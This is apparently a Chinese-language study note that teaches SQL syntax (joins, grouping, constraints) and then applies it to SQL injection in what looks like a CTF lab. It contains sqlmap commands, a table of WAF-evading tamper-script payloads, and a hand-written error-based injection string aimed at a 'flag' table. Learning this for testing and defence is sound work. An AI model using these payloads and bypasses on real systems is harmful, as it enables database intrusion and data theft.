先来看order by

1
SELECT Company, OrderNumber FROM Orders ORDER BY Company

表示按照company字段的字母来排序。

image-20220430180627727

也可以用其他字段来排序比如

1
SELECT Company, OrderNumber FROM Orders ORDER BY Company, OrderNumber

就是先按company,然后按Ordernumber。

再来看insert语句

向表中插入新的行

1
INSERT INTOVALUES(值123..);

也可以指定插入数据的列

1
INSERT INTO table_name (列12) VALUES (值12)

举例:

1
INSERT INTO Persons VALUES ('Gates', 'Bill', 'Xuanwumen 10', 'Beijing')

即向表Persons中的4个列分别赋上述值。

image-20220430181107220

我们也可以指定列插入值:

1
INSERT INTO Persons (LastName, FirstName) VALUES ('Gates', 'Bill');

看WHERE子句

1
SELECTFROMWHERE 列 运算符 值

比如

1
SELECT * FROM Persons WHERE City='Beijing';

image-20220430182937456

也就是选出了列名是beijing的一行。

sql注入中常用的

1
SELECT table_name from information_schema.tables where table_schema=database();

information_schema.tables表示表,我们要在表中的table_schema列里面把字段是数据库名的那一行选出来,称作table_name

也就是table_name就是我们自己对这结果起的名字。

1
SELECT * FROM Persons WHERE Year>1965

还可以在最后做判断,如上。

AND OR

1
SELECT * FROM Persons WHERE FirstName='Thomas' AND LastName='Carter';

image-20220430183731632

1
SELECT * FROM Persons WHERE firstname='Thomas' OR lastname='Carter'

这两个都比较好理解,不多说了。

1
2
SELECT * FROM Persons WHERE (FirstName='Thomas' OR FirstName='William')
AND LastName='Carter'

也可以结合起来。

GROUP BY

1
SELECT Customer, SUM(OrderPrice) FROM Orders GROUP BY Customer

也就是按照Customer给分别计算。

image-20220430184502552

查完之后为

image-20220430184519454

所以也就是把SELECT 的内容进行了组合。除去了多余的项。

如果不加GROUP BY,结果会是

image-20220430184716580

因为SELECT指定了两列但是第二列返回一个单独的值,而Customer返回6个值,也就只能都对应一个值了。

我们再看sql的join语句

给出websites表如下

1
2
3
4
5
6
7
8
9
10
+----+--------------+---------------------------+-------+---------+
| id | name | url | alexa | country |
+----+--------------+---------------------------+-------+---------+
| 1 | Google | https://www.google.cm/ | 1 | USA |
| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
| 3 | 菜鸟教程 | http://www.runoob.com/ | 4689 | CN |
| 4 | 微博 | http://weibo.com/ | 20 | CN |
| 5 | Facebook | https://www.facebook.com/ | 3 | USA |
| 7 | stackoverflow | http://stackoverflow.com/ | 0 | IND |
+----+---------------+---------------------------+-------+---------+

再给出access_log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> SELECT * FROM access_log;
+-----+---------+-------+------------+
| aid | site_id | count | date |
+-----+---------+-------+------------+
| 1 | 1 | 45 | 2016-05-10 |
| 2 | 3 | 100 | 2016-05-13 |
| 3 | 1 | 230 | 2016-05-14 |
| 4 | 2 | 10 | 2016-05-14 |
| 5 | 5 | 205 | 2016-05-14 |
| 6 | 4 | 13 | 2016-05-15 |
| 7 | 3 | 220 | 2016-05-15 |
| 8 | 5 | 545 | 2016-05-16 |
| 9 | 3 | 201 | 2016-05-17 |
+-----+---------+-------+------------+
9 rows in set (0.00 sec)

这里的site_id其实就是上面表中的id,我们要便于查看,不能去在两个表中查找id去对应,而是应该直接把access_log中的site_id直接换成上面websites表中的网站标签。

所以如下语句

1
2
SELECT Websites.id, Websites.name, access_log.count, access_log.date FROM Websites INNER JOIN access_log
ON Websites.id=access_log.site_id;

其实就是,从websites加入的access_log中选出四个字段形成新的表,并且满足

1
Websites.id=access_log.site_id;
1
2
3
4
INNER JOIN:如果表中有至少一个匹配,则返回行
LEFT JOIN:即使右表中没有匹配,也从左表返回所有的行
RIGHT JOIN:即使左表中没有匹配,也从右表返回所有的行
FULL JOIN:只要其中一个表中存在匹配,则返回行

SQL INNER JOIN

显然如图所示,两个共有部分,才能匹配到。

如果用LEFT JOIN(左表一定会出现!)

1
2
3
4
SELECT column_name(s)
FROM table1
LEFT JOIN table2
ON table1.column_name=table2.column_name;

即使右边表中没有对应的左边的项,左边也会返回行,只不过在有表中的匹配结果为null

SQL LEFT JOIN

image-20220528205238707

注:在使用join时可以用using关键字进行简化。

1.查询必须是等值连接
2.等值连接中的列必须具有相同的名称和数据类型。

using的效果和我们ON table1.column_name=table2.column_name;的效果是一样的!

我们可以自己在mysql数据库中练习一下:

image-20220528210825470

比如我们现在查到表:

image-20220528211226586

我们要对两表中的信息做整合,就用join

我采用语句:

1
select * from security.users as a join security.emails b using(id);

image-20220528211516442

这里大家可能会疑惑,ab都是哪来的,这是别名用法,我们可以给表重新打上我们自己想对他命名的标签,增加可读性。

image-20220528211654550

如图

1
2
我如果不用as用法,不加别名,也是可以直接join的。
select *from security.users join security.emails using(id);

我从网上看到一个秀sql语句的家伙

image-20220528212251526

他在刚才我们的查询外加了一个select * from并且把我们的查询结果后面加了c

这其实就是,我们之前的查询结果,就是一个新表。现在从这个新表里查询所有!也就是再加select * from

然后把我们的新表加一个别名叫c!

1
select * from (select * from security.users as a join security.emails b using(id)) c;

其实就是套娃,我们还可以再继续套。

1
select * from (select * from (select * from security.users as a join security.emails b using(id)) c) d;

image-20220528212543591

结果相同!

什么叫活学活用?

1
concat(0x7e,(select * from (select * from security.users as a join security.emails b using(id)) c),0x7e);

image-20220528213228067

因为concat是用来拼接字符串的,所以我们不能拼接别的类型。不过没有其他报错,0x7e使拼接出来是

这里其实是image-20220528213546261

也就是波浪号。

反引号在sql语句中的作用:

这个符号是对数据库名、表明、字段的特殊处理。防止用户自定义的名称和mysql保留字冲突。
比如:
字段名 date ,mysql同样有内建行数date
date就能区分开这是自定义字段

DELETE的使用

1
2
DELETE FROM TABLE_NAME
WHERE name='facebook' AND country='USA';

删除相关性质的字段。

删除某一列,要用ALTER搭配DROP!

1
2
ALTER TABLE table_name
DROP COLUMN column_name

更改列名

1
ALTER TABLE TABLENAME CHANGE COLUMN OLDNAME NEWNAME INT;

sql插入多行多列数据:

1
INSERT` `INTO` `table_name (列1, 列2,...) ``VALUES` `(值1, 值2,....),((值1, 值2,....),(...);

新在后面增加一列

1
alter table pre_csdn123zd_rule add column start_url varchar(255) DEFAULT NULL after rule_remark;

创建一个新表:

1
2
3
4
5
6
7
CREATE TABLE table_name
(
column_name1 data_type(size),
column_name2 data_type(size),
column_name3 data_type(size),
....
);

SQL 约束(Constraints)

SQL 约束用于规定表中的数据规则。

如果存在违反约束的数据行为,行为会被约束终止。

约束可以在创建表时规定(通过 CREATE TABLE 语句),或者在表创建之后规定(通过 ALTER TABLE 语句)。

SQL CREATE TABLE + CONSTRAINT 语法

CREATE TABLE table_name
(
column_name1 data_type(size) constraint_name,
column_name2 data_type(size) constraint_name,
column_name3 data_type(size) constraint_name,
….
);

在 SQL 中,我们有如下约束:

  • NOT NULL - 指示某列不能存储 NULL 值。

  • UNIQUE - 保证某列的每行必须有唯一的值。

  • PRIMARY KEY - NOT NULL 和 UNIQUE 的结合。确保某列(或两个列多个列的结合)有唯一标识,有助于更容易更快速地找到表中的一个特定的记录。

  • FOREIGN KEY - 保证一个表中的数据匹配另一个表中的值的参照完整性。

  • CHECK - 保证列中的值符合指定的条件。

  • DEFAULT - 规定没有给列赋值时的默认值。

举例

1
2
3
4
5
6
CREATE TABLE Persons (
ID int NOT NULL,
LastName varchar(255) NOT NULL,
FirstName varchar(255) NOT NULL,
Age int
);

sql注入用sqlmap记得用脚本去跑!不要手动!,脚本使用方式:

根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。

1
sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2comment,versionedmorekeywords.py"  -v 3 --dbs

脚本分类说明

支持的数据库 编号 脚本名称 作用 实现方式
all 1 apostrophemask.py 用utf8代替引号 (“1 AND ‘1’=’1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
2 base64encode.py 用base64编码替换 (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’
3 multiplespaces.py 围绕SQL关键字添加多个空格 (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’
4 space2plus.py 用+替换空格 (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’
5 nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters (‘1 UNION SELECT 2—‘) ‘1 UNIOUNIONN SELESELECTCT 2—‘
6 space2randomblank.py 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 (‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’
7 unionalltounion.py 替换UNION ALL SELECT UNION SELECT (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’
8 securesphere.py 追加特制的字符串 (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=’0having’”
mssql 1 space2hash.py 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) ‘1 AND 9227=9227’ ‘1—nVNaVoPYeva%0AAND—ngNvzqu%0A9227=9227’
2 equaltolike.py like 代替等号 Input: SELECT FROM users WHERE id=1 2 Output: SELECT FROM users WHERE id LIKE 1
3 space2mssqlblank.py(mssql) 空格替换为其它空符号 Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers
4 space2mssqlhash.py 替换空格 (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’
5 between.py 用between替换大于号(>) (‘1 AND A > B—‘) ‘1 AND A NOT BETWEEN 0 AND B—‘
6 percentage.py asp允许每个字符前面添加一个%号 Input: SELECT FIELD FROM TABLE Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
7 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 (‘1 AND 9227=9227— ‘) ‘1 AND 9227=9227— sp_password’
8 charencode.py url编码 Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
9 randomcase.py 随机大小写 Input: INSERT Output: InsERt
10 charunicodeencode.py 字符串 unicode 编码 Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
11 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ Input: SELECT id FROM users Output: SELECT//id//FROM/**/users
mysql >= 5.1.13 1 equaltolike.py like 代替等号 Input: SELECT FROM users WHERE id=1 2 Output: SELECT FROM users WHERE id LIKE 1
2 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’
3 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
4 ifnull2ifisnull.py 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ (‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’
5 space2mssqlhash.py 替换空格 (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’
6 modsecurityversioned.py 过滤空格,包含完整的查询版本注释 (‘1 AND 2>1—‘) ‘1 /!30874AND 2>1/—‘
7 space2mysqlblank.py 空格替换其它空白符号(mysql) Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users
8 between.py 用between替换大于号(>) (‘1 AND A > B—‘) ‘1 AND A NOT BETWEEN 0 AND B—‘
9 modsecurityzeroversioned.py 包含了完整的查询与零版本注释 (‘1 AND 2>1—‘) ‘1 /!00000AND 2>1/—‘
10 space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) (‘1 AND 9227=9227’) ‘1—%0AAND—%0A9227=9227’
11 bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like (‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’
12 percentage.py asp允许每个字符前面添加一个%号 Input: SELECT FIELD FROM TABLE Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
13 charencode.py url编码 Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
14 randomcase.py 随机大小写 Input: INSERT Output: InsERt
15 versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
16 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ Input: SELECT id FROM users Output: SELECT//id//FROM/**/users
17 charunicodeencode.py 字符串 unicode 编码 Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
18 versionedmorekeywords.py 注释绕过 Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
MySQL < 5.1 19 halfversionedmorekeywords.py 关键字前加注释 Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’=’QDWa
20 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”) 2.”value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa”
MySQL >= 5.1.13 21 space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符 Input: 1 AND 9227=9227 Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Oracle 1 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
3 between.py 用between替换大于号(>) (‘1 AND A > B—‘) ‘1 AND A NOT BETWEEN 0 AND B—‘
4 charencode.py url编码 Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
5 randomcase.py 随机大小写 Input: INSERT Output: InsERt
6 charunicodeencode.py 字符串 unicode 编码 Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
7 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ Input: SELECT id FROM users Output: SELECT//id//FROM/**/users
PostgreSQL 1 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
3 between.py 用between替换大于号(>) (‘1 AND A > B—‘) ‘1 AND A NOT BETWEEN 0 AND B—‘
4 percentage.py asp允许每个字符前面添加一个%号 Input: SELECT FIELD FROM TABLE Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
5 charencode.py url编码 Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
6 randomcase.py 随机大小写 Input: INSERT Output: InsERt
7 charunicodeencode.py 字符串 unicode 编码 Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
8 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ Input: SELECT id FROM users Output: SELECT//id//FROM/**/users
Access 1 appendnullbyte.py 在有效负荷结束位置加载零字节字符编码 (‘1 AND 1=1’) ‘1 AND 1=1%00’
其他 chardoubleencode.py 双url编码(不处理以编码的) Input: SELECT FIELD FROM%20TABLE Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
unmagicquotes.py 宽字符绕过 GPC addslashes Input: 1′ AND 1=1 Output: 1%bf%27 AND 1=1–%20
randomcomments.py 用/**/分割sql关键字 ‘INSERT’ becomes ‘IN//S//ERT’

以上是脚本说明。

使用命令可以从kali linux的sqlmap-gtk中看到

下面补充一个函数

mid()

下面的 SQL 语句从 “Websites” 表的 “name” 列中提取前 4 个字符:

1
2
SELECT MID(name,1,4) AS ShortTitle
FROM Websites;

image-20220528200941588

我们可以用burpsuite抓包之后,将请求存入txt

1
python2 sqlmap.py -r file.txt --dbs

即可暴库。

然后爆出库名,表名之后再去爆列名。

1
python2 sqlmap.py -r file.txt -D 'security' -T 'flag' --columns
1
uname=admin')and mid(concat(0x7e,(select*from (select * from flag as a join flag b using(id))c),0x7e),1,1)#

然后再去手动注入